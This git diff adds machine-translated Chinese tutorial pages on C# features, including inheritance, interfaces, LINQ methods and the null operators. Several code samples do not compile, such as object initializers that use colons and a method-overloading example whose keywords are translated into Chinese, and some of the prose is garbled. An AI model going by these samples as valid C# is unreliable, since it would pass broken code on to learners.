@@ -0,0 +1,59 @@
+---
+title: Inheritance
+localeTitle: 遗产
+---
+# 遗产
+
+继承允许您创建扩展或修改现有类的类。这可以用于创建派生自其他类的类。
+
+# 基类和派生类
+
+这些是引用继承时用于类的术语。派生类继承基类，以及基类使用的任何变量，函数或进程。然后，派生类可以拥有自己的变量和函数，以及它从基类继承的变量和函数。
+
+例如，'Animal'的Base类可以具有派生类'Dog'。 Animal类将包含与动物有关的特征，而Dog类包含狗特有的特征。当Dog类继承Animal类时，它将能够引用与动物相关的特征和狗特有的特征。
+
+# 继承规则
+
+继承是一种方式。基类不继承派生类的功能。
+
+继承是传递性的。 “动物”的基类可以有一个派生类'狗'，这可以有一个派生类'梗'。 Terrier类将继承Dog类和Animal类的功能。
+
+# `:`符号
+
+在C＃中`:`符号用于表示继承。在创建派生类时调用此方法。
+
+## 例
+
+# 基类
+```
+public class Animal 
+ { 
+    public int ID; 
+    public string title; 
+    public enum phylum; 
+    public enum dietType; 
+ 
+        public DefineAnimal(int id, string name, enum phy, enum diet) 
+    { 
+        this.ID = id; 
+        this.title = name; 
+        this.phylum = phy; 
+        this.dietType = diet; 
+    } 
+ } 
+```
+
+# 派生班
+```
+public class Dog : Animal 
+ { 
+    public enum breed; 
+    public int levelOfTraining; 
+ 
+    public void SayWoof() 
+    { 
+        Console.WriteLine("Woof"); 
+    } 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/csharp/interface/index.md b/client/src/guide/chinese/csharp/interface/index.md
new file mode 100644
index 0000000000..dac6909172
--- /dev/null
+++ b/client/src/guide/chinese/csharp/interface/index.md
@@ -0,0 +1,59 @@
+---
+title : Interface 
+localeTitle: 接口
+---
+* * *
+
+接口类似于类或结构，但其成员没有实现。 接口声明实现类应具有的契约或行为。 它可以仅使用NO访问修饰符声明属性，方法和事件。
+
+所有声明的成员必须在inharit类中实现，否则将出现编译错误。 作为惯例，我们将在begenning（IMyInterface || IUserOptions）上标记与字母I的接口。 您可以使用interface关键字定义接口。
+
+界面的所有成员是： 含蓄地抽象， 隐式公开，不能声明访问修饰符，如protected，internal private等...
+
+接口可以：
+
+*   从其他接口继承。
+*   从多个接口同时继承
+*   仅包含方法，属性，事件和索引器。
+
+接口不能：
+
+*   从类继承。
+*   有实施。
+*   拥有除公共之外的访问修饰符。
+
+## \*实例化。
+
+使用接口允许我们在不破坏其他部分的情况下更改项目中的实现， 并且只需要更改创建对象的一个​​位置。
+
+接口示例：
+
+```csharp
+public Interface IUserFavoriteFood 
+ { 
+  void AddFood(); 
+  Task<User> EatFavoriteFood(int id); 
+ } 
+```
+
+* * *
+
+接口继承和实现：
+
+```csharp
+public class UserHungry : IUserFavoriteFood 
+ { 
+  public AddFood() 
+  { 
+    // Implementation: 
+    // A method to add food. 
+  } 
+ 
+  public Task<User> EatFavoriteFood(int id) 
+  { 
+    // Implementation: 
+    // A method to Eat food by id. 
+  } 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/csharp/is/index.md b/client/src/guide/chinese/csharp/is/index.md
new file mode 100644
index 0000000000..9c78d68ebe
--- /dev/null
+++ b/client/src/guide/chinese/csharp/is/index.md
@@ -0,0 +1,11 @@
+---
+title: is
+localeTitle: 是
+---
+## 是
+
+`is`关键字检查对象是否与给定类型兼容，或者（从C＃7开始）针对模式测试表达式。
+
+#### 更多信息：
+
+*   [C＃参考：是](https://docs.microsoft.com/dotnet/csharp/language-reference/keywords/is)
\ No newline at end of file
diff --git a/client/src/guide/chinese/csharp/linq/all/index.md b/client/src/guide/chinese/csharp/linq/all/index.md
new file mode 100644
index 0000000000..f5dbb83b6b
--- /dev/null
+++ b/client/src/guide/chinese/csharp/linq/all/index.md
@@ -0,0 +1,32 @@
+---
+title: All
+localeTitle: 所有
+---
+# 所有
+
+如果集合中的所有元素与谓词匹配，则返回true。
+
+### 签名
+
+```csharp
+public static bool All<TSource>(this IEnumerable<TSource> source, Func<TSource, bool> predicate); 
+```
+
+## 例
+
+```csharp
+var fruits = new List<Fruit>() { 
+    new Fruit() { Id = 1, Name = "Orange",     Color = "Orange", Quantity: 3   }, 
+    new Fruit() { Id = 2, Name = "Strawberry", Color = "Red",    Quantity: 12  }, 
+    new Fruit() { Id = 3, Name = "Grape",      Color = "Purple", Quantity: 25  }, 
+    new Fruit() { Id = 4, Name = "Pineapple",  Color = "Yellow", Quantity: 1   }, 
+    new Fruit() { Id = 5, Name = "Apple",      Color = "Red",    Quantity: 5   }, 
+    new Fruit() { Id = 6, Name = "Mango",      Color = "Yellow", Quantity: 2   } 
+ }; 
+ 
+ // All Fruit have a quantity greater than 0. 
+ var allFruitsHaveAQuantity = fruits.All(f => f.Quantity > 0); // true 
+ // All Fruit have the Color Yellow 
+ var allYellow = fruits.All(f => f.Color == "Yellow"); // false 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/csharp/linq/any/index.md b/client/src/guide/chinese/csharp/linq/any/index.md
new file mode 100644
index 0000000000..9504406b90
--- /dev/null
+++ b/client/src/guide/chinese/csharp/linq/any/index.md
@@ -0,0 +1,38 @@
+---
+title: Any
+localeTitle: 任何
+---
+# 任何
+
+如果至少有一个元素与谓词匹配，则返回true。 当使用空谓词（只有.Any（），而没有任何东西）时，如果集合不为空，它将返回true。
+
+### 签名
+
+```csharp
+public static bool Any<TSource>(this IEnumerable<TSource> source); 
+ public static bool Any<TSource>(this IEnumerable<TSource> source, Func<TSource, bool> predicate); 
+```
+
+## 例
+
+```csharp
+var fruits = new List<Fruit>() { 
+    new Fruit() { Id = 1, Name = "Orange",     Color = "Orange", Quantity: 3   }, 
+    new Fruit() { Id = 2, Name = "Strawberry", Color = "Red",    Quantity: 12  }, 
+    new Fruit() { Id = 3, Name = "Grape",      Color = "Purple", Quantity: 25  }, 
+    new Fruit() { Id = 4, Name = "Pineapple",  Color = "Yellow", Quantity: 1   }, 
+    new Fruit() { Id = 5, Name = "Apple",      Color = "Red",    Quantity: 5   }, 
+    new Fruit() { Id = 6, Name = "Mango",      Color = "Yellow", Quantity: 2   } 
+ }; 
+ 
+ // Check if any Fruits have a quantity greater than 20 
+ var anyFruitGreaterThanTwenty = fruits.Any(f => f.Quantity > 20); // true 
+ 
+ // Any Fruit with color Green 
+ var anyGreen = fruits.Any(f => f.Color == "Green"); // false 
+ 
+ var hasFruits = fruits.Any(); // true 
+ 
+ var hasYellowFruit = fruits.Any(f => f.Color == "Yellow"); // true 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/csharp/linq/count/index.md b/client/src/guide/chinese/csharp/linq/count/index.md
new file mode 100644
index 0000000000..c39eb3f729
--- /dev/null
+++ b/client/src/guide/chinese/csharp/linq/count/index.md
@@ -0,0 +1,27 @@
+---
+title: Count
+localeTitle: 计数
+---
+＃ 任何 返回序列中满足条件的元素计数。 ###签名
+
+```csharp
+Enumerable.Count<TSource> Method (IEnumerable<TSource>, Func<TSource, Boolean>) 
+```
+
+##例子
+
+```csharp
+var fruits = new List<Fruit>() { 
+    new Fruit() { Id = 1, Name = "Orange",     Color = "Orange", Quantity: 3   }, 
+    new Fruit() { Id = 2, Name = "Strawberry", Color = "Red",    Quantity: 12  }, 
+    new Fruit() { Id = 3, Name = "Grape",      Color = "Purple", Quantity: 25  }, 
+    new Fruit() { Id = 4, Name = "Pineapple",  Color = "Yellow", Quantity: 1   }, 
+    new Fruit() { Id = 5, Name = "Apple",      Color = "Red",    Quantity: 5   }, 
+    new Fruit() { Id = 6, Name = "Mango",      Color = "Yellow", Quantity: 2   } 
+ }; 
+ // Count of Fruit with Color Red. 
+ var yellowCount = fruits.Count(f => f.Color == "Red"); // 2 
+ // Count of Fruit with Quantity > 2 
+ var quantityOverTwo = fruits.Count(f => f.Quantity > 2); // 4 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/csharp/linq/first-or-default/index.md b/client/src/guide/chinese/csharp/linq/first-or-default/index.md
new file mode 100644
index 0000000000..a1014688b1
--- /dev/null
+++ b/client/src/guide/chinese/csharp/linq/first-or-default/index.md
@@ -0,0 +1,30 @@
+---
+title: First Or Default
+localeTitle: 第一或默认
+---
# FirstOrDefault
+
+返回满足可选给定条件的第一个元素。如果未找到任何元素，则返回该对象的`default()`
+
+### 签名
+
+```csharp
+Enumerable.FirstOrDefault<TSource>(IEnumerable<TSource>, Func<TSource, Boolean>) 
+```
+
+## 例
+
+```csharp
+var fruits = new List<Fruit>() { 
+    new Fruit() { Id = 1, Name = "Orange",     Color = "Orange", Quantity: 3   }, 
+    new Fruit() { Id = 2, Name = "Strawberry", Color = "Red",    Quantity: 12  }, 
+    new Fruit() { Id = 3, Name = "Grape",      Color = "Purple", Quantity: 25  }, 
+    new Fruit() { Id = 4, Name = "Pineapple",  Color = "Yellow", Quantity: 1   }, 
+    new Fruit() { Id = 5, Name = "Apple",      Color = "Red",    Quantity: 5   }, 
+    new Fruit() { Id = 6, Name = "Mango",      Color = "Yellow", Quantity: 2   } 
+ }; 
+ 
+ var firstFruit = fruits.FirstOrDefault(); // Orange 
+ 
+ var firstYellowFruit = fruits.FirstOrDefault(f => f.Color == "Green"); // null 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/csharp/linq/first/index.md b/client/src/guide/chinese/csharp/linq/first/index.md
new file mode 100644
index 0000000000..d9507b1fb8
--- /dev/null
+++ b/client/src/guide/chinese/csharp/linq/first/index.md
@@ -0,0 +1,30 @@
+---
+title: First
+localeTitle: 第一
+---
# 第一
+
+返回满足可选给定条件的第一个元素。如果未找到任何元素，则抛出`InvalidOperationException` ;
+
+### 签名
+
+```csharp
+Enumerable.First<TSource>(IEnumerable<TSource>, Func<TSource, Boolean>) 
+```
+
+## 例
+
+```csharp
+var fruits = new List<Fruit>() { 
+    new Fruit() { Id = 1, Name = "Orange",     Color = "Orange", Quantity: 3   }, 
+    new Fruit() { Id = 2, Name = "Strawberry", Color = "Red",    Quantity: 12  }, 
+    new Fruit() { Id = 3, Name = "Grape",      Color = "Purple", Quantity: 25  }, 
+    new Fruit() { Id = 4, Name = "Pineapple",  Color = "Yellow", Quantity: 1   }, 
+    new Fruit() { Id = 5, Name = "Apple",      Color = "Red",    Quantity: 5   }, 
+    new Fruit() { Id = 6, Name = "Mango",      Color = "Yellow", Quantity: 2   } 
+ }; 
+ 
+ var firstFruit = fruits.First(); // Orange 
+ 
+ var firstYellowFruit = fruits.First(f => f.Color == "Yellow"); // Pineapple 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/csharp/linq/index.md b/client/src/guide/chinese/csharp/linq/index.md
new file mode 100644
index 0000000000..390b20d2d5
--- /dev/null
+++ b/client/src/guide/chinese/csharp/linq/index.md
@@ -0,0 +1,61 @@
+---
+title: LINQ
+localeTitle: LINQ
+---
# LINQ（语言集成查询）
+
+LINQ（语言集成查询）是一种Microsoft编程模型和方法，它基本上将正式查询功能添加到基于Microsoft .NET的编程语言中。 LINQ为操作数据提供了紧凑，富有表现力和可理解的语法。 LINQ的真正价值在于它能够将相同的查询应用于SQL数据库，数据集，列表，字典等。
+
+## 例
+
+LINQ可用于过滤，转换，搜索数据以及更多复杂任务。假设我们有以下对象列表：
+
+```csharp
+var fruits = new List<Fruit>() { 
+    new Fruit() { Id = 1, Name = "Orange",     Color = "Orange", Quantity: 3   }, 
+    new Fruit() { Id = 2, Name = "Strawberry", Color = "Red",    Quantity: 12  }, 
+    new Fruit() { Id = 3, Name = "Grape",      Color = "Purple", Quantity: 25  }, 
+    new Fruit() { Id = 4, Name = "Pineapple",  Color = "Yellow", Quantity: 1   }, 
+    new Fruit() { Id = 5, Name = "Apple",      Color = "Red",    Quantity: 5   }, 
+    new Fruit() { Id = 6, Name = "Mango",      Color = "Yellow", Quantity: 2   } 
+ } 
+```
+
+然后我们可以做以下事情：
+
+```csharp
+// Get the name of the first fruit 
+ var firstName = fruits.Select(f => f.Name).First(); // Orange 
+ 
+ // Count how many fruits are red 
+ var qntRed = fruits.Where(Color == "Red").Count(); // 2 
+ 
+ // Create a list of yellow fruits 
+ var yellowFruits = fruits.Where(f => f.Color == "Yellow").ToList(); // { Pineapple, Mango } 
+ 
+ // Orders list by quantity from most to less 
+ var orderedFruits = fruits.OrderByDescending(f => f.Quantity).ToList(); // {Grape, Strawberry, Orange, Apple, Mango, Pineapple} 
+ 
+ // Sum the quantity of fruits 
+ var quantity = fruits.Sum(f => f.Quantity); // 53 
+ 
+ // Check if there are any green fruits 
+ var hasGreen = fruits.Any(f => f.Color == "Green"); // false 
+ 
+ // Group fruits by color into a dictionary 
+ var fruitsByColor = fruits.GroupBy(g => g.Color).ToDictionary(k => k.Key, v => v.ToList()); // Dictionary of list of fruits by color 
+ 
+ // linq operations can be concatenated and are not performed as long as data is needed 
+ var logs = new List<Log>; 
+ 
+ if (filterBySeverity) 
+    logs = logs.Where(p => p.Severity == severity); 
+    //IQueryable 
+ 
+ if (filterByUser) 
+    logs = logs.Where(p => p.User == user); 
+    //IQueryable 
+ 
+    result = logs.ToList(); 
+    //List<log> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/csharp/linq/last-or-default/index.md b/client/src/guide/chinese/csharp/linq/last-or-default/index.md
new file mode 100644
index 0000000000..781a2c6455
--- /dev/null
+++ b/client/src/guide/chinese/csharp/linq/last-or-default/index.md
@@ -0,0 +1,27 @@
+---
+title: LastOrDefault
+localeTitle: LastOrDefault
+---
+＃ 任何 返回序列中满足条件的最后一个元素，如果未找到任何元素，则返回默认值 ###签名
+
+```csharp
+Enumerable.LastOrDefault<TSource> Method (IEnumerable<TSource>, Func<TSource, Boolean>) 
+```
+
+##例子
+
+```csharp
+var fruits = new List<Fruit>() { 
+    new Fruit() { Id = 1, Name = "Orange",     Color = "Orange", Quantity: 3   }, 
+    new Fruit() { Id = 2, Name = "Strawberry", Color = "Red",    Quantity: 12  }, 
+    new Fruit() { Id = 3, Name = "Grape",      Color = "Purple", Quantity: 25  }, 
+    new Fruit() { Id = 4, Name = "Pineapple",  Color = "Yellow", Quantity: 1   }, 
+    new Fruit() { Id = 5, Name = "Apple",      Color = "Red",    Quantity: 5   }, 
+    new Fruit() { Id = 6, Name = "Mango",      Color = "Yellow", Quantity: 2   } 
+ }; 
+ // Returns the last fruit where the Color is Yellow 
+ var lastYellow = fruits.LastOrDefault(f => f.Color == "Yellow"); // Mango 
+ // Returns the last fruit where the quantity is 20 
+ var lastQuantityOfTwenty = fruits.LastOrDefault(f => f.Quantity == 20); // null 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/csharp/linq/select/index.md b/client/src/guide/chinese/csharp/linq/select/index.md
new file mode 100644
index 0000000000..ccf3e100de
--- /dev/null
+++ b/client/src/guide/chinese/csharp/linq/select/index.md
@@ -0,0 +1,30 @@
+---
+title: Select
+localeTitle: 选择
+---
# 选择
+
+从数据集中投射数据。
+
+### 签名
+
+```csharp
+Enumerable.Select<TSource, TResult> Method (IEnumerable<TSource>, Func<TSource, TResult>) 
+```
+
+## 例
+
+```csharp
+var fruits = new List<Fruit>() { 
+    new Fruit() { Id = 1, Name = "Orange",     Color = "Orange", Quantity = 3   }, 
+    new Fruit() { Id = 2, Name = "Strawberry", Color = "Red",    Quantity = 12  }, 
+    new Fruit() { Id = 3, Name = "Grape",      Color = "Purple", Quantity = 25  }, 
+    new Fruit() { Id = 4, Name = "Pineapple",  Color = "Yellow", Quantity = 1   }, 
+    new Fruit() { Id = 5, Name = "Apple",      Color = "Red",    Quantity =  5   }, 
+    new Fruit() { Id = 6, Name = "Mango",      Color = "Yellow", Quantity = 2   } 
+ }; 
+ 
+ var mangoQnt = fruits.Where(f => f.Name == "Mango").Select(f => f.Quantity).FirstOrDefault(); // 2 
+ 
+ var grapeColor = fruits.Where(f => f.Name == "Grape").Select(f => f.Color).FirstOrDefault(); // Purple 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/csharp/linq/single-or-default/index.md b/client/src/guide/chinese/csharp/linq/single-or-default/index.md
new file mode 100644
index 0000000000..4276c9bf07
--- /dev/null
+++ b/client/src/guide/chinese/csharp/linq/single-or-default/index.md
@@ -0,0 +1,31 @@
+---
+title: Single Or Default
+localeTitle: 单一或默认
+---
+# 的SingleOrDefault
+
+返回满足指定条件的序列中的单个元素，如果未找到任何元素，则返回默认值。如果找到满足指定条件的多个元素，则该方法将抛出异常。
+
+### 签名
+
+```csharp
+Enumerable.SingleOrDefault<TSource>(IEnumerable<TSource>, Func<TSource, Boolean>) 
+```
+
+## 例
+
+```csharp
+var fruits = new List<Fruit>() { 
+    new Fruit() { Id = 1, Name = "Orange",     Color = "Orange", Quantity: 3   }, 
+    new Fruit() { Id = 2, Name = "Strawberry", Color = "Red",    Quantity: 12  }, 
+    new Fruit() { Id = 3, Name = "Grape",      Color = "Purple", Quantity: 25  }, 
+    new Fruit() { Id = 4, Name = "Pineapple",  Color = "Yellow", Quantity: 1   }, 
+    new Fruit() { Id = 5, Name = "Apple",      Color = "Red",    Quantity: 5   }, 
+    new Fruit() { Id = 6, Name = "Mango",      Color = "Yellow", Quantity: 2   } 
+ }; 
+ 
+ var purpleFruit = fruits.SingleOrDefault(f => f.Color == "Purple"); // Grape 
+ 
+ var greenFruit = fruits.SingleOrDefault(f => f.Color == "Green"); // null 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/csharp/linq/to-dictionary/index.md b/client/src/guide/chinese/csharp/linq/to-dictionary/index.md
new file mode 100644
index 0000000000..62bbcc885c
--- /dev/null
+++ b/client/src/guide/chinese/csharp/linq/to-dictionary/index.md
@@ -0,0 +1,35 @@
+---
+title: To Dictionary
+localeTitle: 到字典
+---
# ToDictionary
+
+从DataSet中创建一个Dictionary;
+
+### 签名
+
+```csharp
+Enumerable.ToDictionary<TSource, TKey> Method (IEnumerable<TSource>, Func<TSource, TKey>) 
+```
+
+## 例
+
+```csharp
+var fruits = new List<Fruit>() { 
+    new Fruit() { Id = 1, Name = "Orange",     Color = "Orange", Quantity: 3   }, 
+    new Fruit() { Id = 2, Name = "Strawberry", Color = "Red",    Quantity: 12  }, 
+    new Fruit() { Id = 3, Name = "Grape",      Color = "Purple", Quantity: 25  }, 
+    new Fruit() { Id = 4, Name = "Pineapple",  Color = "Yellow", Quantity: 1   }, 
+    new Fruit() { Id = 5, Name = "Apple",      Color = "Red",    Quantity: 5   }, 
+    new Fruit() { Id = 6, Name = "Mango",      Color = "Yellow", Quantity: 2   } 
+ }; 
+ 
+ // Generates a Dictionary of Fruits by Id 
+ var fruitsById = fruits.ToDictionary(k => k.Id, v => v); // Dictionary<int, Fruit> 
+ 
+ // Generates a dictionary fruits by color 
+ var fruitsByColor = fruits.GroupBy(g => g.Color).ToDictionary(k => k.Key, v => v.ToList()); // Dictionary of list of fruits by color 
+ 
+ // Generates a dictionary of quantity of fruits by color 
+ var fruitsByColor = fruits.GroupBy(g => g.Color).ToDictionary(k => k.Key, v => v.Sum(s => s.Quantity)); // Dictionary of sum of fruits by color 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/csharp/linq/to-list/index.md b/client/src/guide/chinese/csharp/linq/to-list/index.md
new file mode 100644
index 0000000000..d2b1ec8f83
--- /dev/null
+++ b/client/src/guide/chinese/csharp/linq/to-list/index.md
@@ -0,0 +1,29 @@
+---
+title: To List
+localeTitle: 列表
+---
# ToList
+
+给定DataSet查询生成List。
+
+### 签名
+
+```csharp
+Enumerable.ToList<TSource> Method (IEnumerable<TSource>) 
+```
+
+## 例
+
+```csharp
+var fruits = new List<Fruit>() { 
+    new Fruit() { Id = 1, Name = "Orange",     Color = "Orange", Quantity: 3   }, 
+    new Fruit() { Id = 2, Name = "Strawberry", Color = "Red",    Quantity: 12  }, 
+    new Fruit() { Id = 3, Name = "Grape",      Color = "Purple", Quantity: 25  }, 
+    new Fruit() { Id = 4, Name = "Pineapple",  Color = "Yellow", Quantity: 1   }, 
+    new Fruit() { Id = 5, Name = "Apple",      Color = "Red",    Quantity: 5   }, 
+    new Fruit() { Id = 6, Name = "Mango",      Color = "Yellow", Quantity: 2   } 
+ }; 
+ 
+ // Generates list of fruits name 
+ var fruitsNames = fruits.Select(f => f.Name).ToList(); // { "Orange", "Strawberry", "Grape", "Pineapple", "Apple", "Mango" } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/csharp/linq/where/index.md b/client/src/guide/chinese/csharp/linq/where/index.md
new file mode 100644
index 0000000000..91097447d3
--- /dev/null
+++ b/client/src/guide/chinese/csharp/linq/where/index.md
@@ -0,0 +1,32 @@
+---
+title: Where
+localeTitle: 哪里
+---
# 哪里
+
+过滤数据集中的元素。
+
+### 签名
+
+```csharp
+Enumerable.Where<TSource> Method (IEnumerable<TSource>, Func<TSource, Boolean>) 
+```
+
+## 例
+
+```csharp
+var fruits = new List<Fruit>() { 
+    new Fruit() { Id = 1, Name = "Orange",     Color = "Orange", Quantity: 3   }, 
+    new Fruit() { Id = 2, Name = "Strawberry", Color = "Red",    Quantity: 12  }, 
+    new Fruit() { Id = 3, Name = "Grape",      Color = "Purple", Quantity: 25  }, 
+    new Fruit() { Id = 4, Name = "Pineapple",  Color = "Yellow", Quantity: 1   }, 
+    new Fruit() { Id = 5, Name = "Apple",      Color = "Red",    Quantity: 5   }, 
+    new Fruit() { Id = 6, Name = "Mango",      Color = "Yellow", Quantity: 2   } 
+ }; 
+ 
+ // Fruits with more than 3 items 
+ var moreThanThree = fruits.Where(f => f.Quantity > 3).ToList(); // { Strawberry, Grape, Apple } 
+ 
+ // Fruits that are not red 
+ var notRed = fruits.Where(f => f.Color != "Red").ToList(); // { Orange, Grape, Pineapple, Mango } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/csharp/literal-improvements/index.md b/client/src/guide/chinese/csharp/literal-improvements/index.md
new file mode 100644
index 0000000000..864a923fff
--- /dev/null
+++ b/client/src/guide/chinese/csharp/literal-improvements/index.md
@@ -0,0 +1,18 @@
+---
+title: Literal Improvements
+localeTitle: 文字改进
+---
# 文字改进
+
+C＃7.0允许\_作为**_数字_**文字中的**_数字分隔符_**出现：
+```
+var d = 123_456; 
+ var x = 0xAB_CD_EF; 
+```
+
+您可以将它们放在数字之间的任何位置，以提高可读性。它们对价值没有影响。
+
+此外，C＃7.0引入了**_二进制文字_** ，因此您可以直接指定位模式，而不必心脏地知道十六进制表示法。
+```
+var b = 0b1010_1011_1100_1101_1110_1111; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/csharp/method-overloading/index.md b/client/src/guide/chinese/csharp/method-overloading/index.md
new file mode 100644
index 0000000000..96b7c946f8
--- /dev/null
+++ b/client/src/guide/chinese/csharp/method-overloading/index.md
@@ -0,0 +1,35 @@
+---
+title: Method Overloading
+localeTitle: 方法重载
+---
+# 方法重载
+
+默认参数是在C＃4.0版本中引入的，但直到那时，C＃编码器一直在使用不同的技术，这种技术基本上是相同的，称为方法重载。它允许程序员定义几个具有相同名称的方法，只要它们采用不同的参数集即可。当您使用.NET框架的类时，您很快就会意识到在整个地方都使用了方法重载。
+
+## 例
+
+1.  创建一个名为Person.cs的类文件并输入以下代码。 \`\`\` 公共阶层人 { public string FirstName {get;私人集; } public string LastName {get;组; }
+    
+    public Person（string firstName，string lastName） { this.FirstName = firstName; this.LastName = lastName; }
+    
+    public string SayHello（字符串名称） { 返回“你好，”+名称; }
+    
+    公共字符串SayHello（人） { 返回“Hello there，”+ person.FirstName +“”+ person.LastName; } }
+    
+```
+2. In your default Program.cs file you can call now this class Person using the method overloading. 
+```
+
+课程 { static void Main（string \[\] args） { 人物=新人（“简”，“美国能源部”）; Console.WriteLine（person.SayHello（“Peter Smith”））;
+```
+        Person friend = new Person("Chuck", "Norris"); 
+        Console.WriteLine(person.SayHello(friend)); 
+ 
+        Console.ReadKey(); 
+ 
+ 
+    } 
+ } 
+```
+
+\`\`\`
\ No newline at end of file
diff --git a/client/src/guide/chinese/csharp/nameof-expressions/index.md b/client/src/guide/chinese/csharp/nameof-expressions/index.md
new file mode 100644
index 0000000000..80fa2ddd8b
--- /dev/null
+++ b/client/src/guide/chinese/csharp/nameof-expressions/index.md
@@ -0,0 +1,35 @@
+---
+title: nameof Expressions
+localeTitle: 表达名称
+---
+# 表达名称
+
+有时，您需要变量，类型或成员的字符串名称，例如引发异常，记录或触发属性更改事件。在C＃6.0之前，您可以将字符串文字用于此类目的。
+
+# ＃
+```
+public void ProcessStudent(Student student) 
+ { 
+    if (student == null) throw new ArgumentNullException("student"); 
+ } 
+```
+
+但是，如果要重命名student参数，则必须记住也要修改字符串文字。现在使用nameof表达式，您不必使用字符串文字，如果您使用的名称不正确，编译器将能够发出警告。
+
+# ＃
+```
+public void ProcessStudent(Student student) 
+ { 
+    if (student == null) throw new ArgumentNullException(nameof(student)); 
+ } 
+```
+
+nameof表达式可能有用的一些示例包括：
+
+*   在参数验证期间抛出异常
+*   在设置MVC操作链接时传递操作名称
+*   在实现INotifyPropertyChanged的类中触发属性更改事件时需要传递属性的名称
+*   在注册XAML依赖项属性时传递属性的名称
+*   记录时包括变量，类型或成员名称
+
+应该注意的是，如果您使用限定名称提供nameof，编译器将为最右侧的名称生成一个字符串。
\ No newline at end of file
diff --git a/client/src/guide/chinese/csharp/nested-if-statement/index.md b/client/src/guide/chinese/csharp/nested-if-statement/index.md
new file mode 100644
index 0000000000..635f958fb9
--- /dev/null
+++ b/client/src/guide/chinese/csharp/nested-if-statement/index.md
@@ -0,0 +1,25 @@
+---
+title: Nested If Statement
+localeTitle: 嵌套If语句
+---
+# 嵌套If语句
+
+在创建if语句时使用嵌套If语句，您需要辅助验证点或if语句。
+```
+int Price = 100; 
+ int Quantity = 20; 
+ 
+ if (Price == 100) 
+ { 
+  if (Quantity == 20) 
+  { 
+    Console.WriteLine("Price of an item is 200, and we have 20 in quantity."); 
+  } 
+ } 
+```
+
+因此，由于我们预定的价格和数量，输出将是：
+```
+Price of an item is 200, and we have 20 in quantity. 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/csharp/null-coalescing-operator/index.md b/client/src/guide/chinese/csharp/null-coalescing-operator/index.md
new file mode 100644
index 0000000000..0becfc3b16
--- /dev/null
+++ b/client/src/guide/chinese/csharp/null-coalescing-operator/index.md
@@ -0,0 +1,76 @@
+---
+title: Null-coalescing Operator
+localeTitle: 空结合运算符
+---
+# 空结合运算符
+
+C＃中的null-coalescing运算符用于帮助将一个变量分配给另一个变量，如果源值为`null` ，则指定备用值。 C＃中的null-coalescing运算符是`??` 。
+
+## 例1
+
+由于`name`为`null` ， `clientName`将为`clientName`分配值“John Doe”。
+
+```cs
+string name = null; 
+ 
+ string clientName = name ?? "John Doe"; 
+ 
+ Console.WriteLine(clientName); 
+```
+
+```cs
+> John Doe 
+```
+
+## 例2
+
+由于`name`不为`null` ， `clientName`将为`clientName`分配`name`的值，即“Jane Smith”。
+
+```cs
+string name = "Jane Smith"; 
+ 
+ string clientName = name ?? "John Doe"; 
+ 
+ Console.WriteLine(clientName); 
+```
+
+```cs
+> Jane Smith 
+```
+
+## 替代if ... else语句
+
+您可以使用`if...else`语句来测试是否存在`null`并分配不同的值。
+
+```cs
+string clientName; 
+ 
+ if (name != null) 
+    clientName = name; 
+ else 
+    clientName = "John Doe"; 
+```
+
+但是，使用null-coalescing运算符可以大大简化这一点。
+
+```cs
+string clientName = name ?? "John Doe"; 
+```
+
+## 条件（三元）运算符的替代
+
+也可以使用条件运算符来测试`null`的存在并分配不同的值。
+
+```cs
+string clientName = name != null ? name : "John Doe"; 
+```
+
+同样，这可以使用null-coalescing运算符进行简化。
+
+```cs
+string clientName = name ?? "John Doe"; 
+```
+
+## 参考
+
+*   [??运算符（C＃参考）](https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/operators/null-conditional-operator)
\ No newline at end of file
diff --git a/client/src/guide/chinese/csharp/null-conditional-operator/index.md b/client/src/guide/chinese/csharp/null-conditional-operator/index.md
new file mode 100644
index 0000000000..f368608bba
--- /dev/null
+++ b/client/src/guide/chinese/csharp/null-conditional-operator/index.md
@@ -0,0 +1,61 @@
+---
+title: Null-conditional Operator
+localeTitle: 空条件运算符
+---
+# 空条件运算符
+
+空条件运算符允许使用最少量的代码进行空检查。例如，如果你有 一个Employee类型的employee变量，其属性类型为Address，您可以执行null检查，如下所示：
+
+```csharp
+Address address = null; 
+ if (employee != null) 
+ { 
+    address = employee.Address; 
+ } 
+```
+
+您可以使用标准条件运算符来使检查更简洁：
+
+```csharp
+Address address = employee != null ? employee.Address : null; 
+```
+
+但是，在C＃6.0中引入了空条件运算符，所以现在上面的行可以简单了 表示如下：
+
+```csharp
+Address address = student?.Address; 
+```
+
+如果employee为null，则只会将地址指定为null，并且不会发生NullReferenceExeception。 对于更深层的对象图，这变得更有用，因为您可以处理一系列条件成员访问。
+
+例如：
+
+```csharp
+string city = student?.Address?.City; 
+```
+
+空条件运算符是短路的，因此只要检查一下条件成员的访问权限即可 返回null，其余的不会发生。
+
+# 空结合运算符
+
+另一个有用的空检查选项是null-coalescing运算符。如果操作数不为null，则返回左侧操作数;否则它返回右手操作数。
+
+例如：
+
+```csharp
+public string GetStringValue() 
+ { 
+    return null; 
+ } 
+ 
+ // Display the value of s if s is NOT null. If x IS null, display the string "It was null." 
+ 
+ string x = GetStringValue(); 
+ 
+ Console.WriteLine(x ?? "It was null."); 
+ 
+ // Result: 
+ 
+ "It was null." 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/csharp/nullable-types/index.md b/client/src/guide/chinese/csharp/nullable-types/index.md
new file mode 100644
index 0000000000..f87272f3d7
--- /dev/null
+++ b/client/src/guide/chinese/csharp/nullable-types/index.md
@@ -0,0 +1,33 @@
+---
+title: Nullable Types
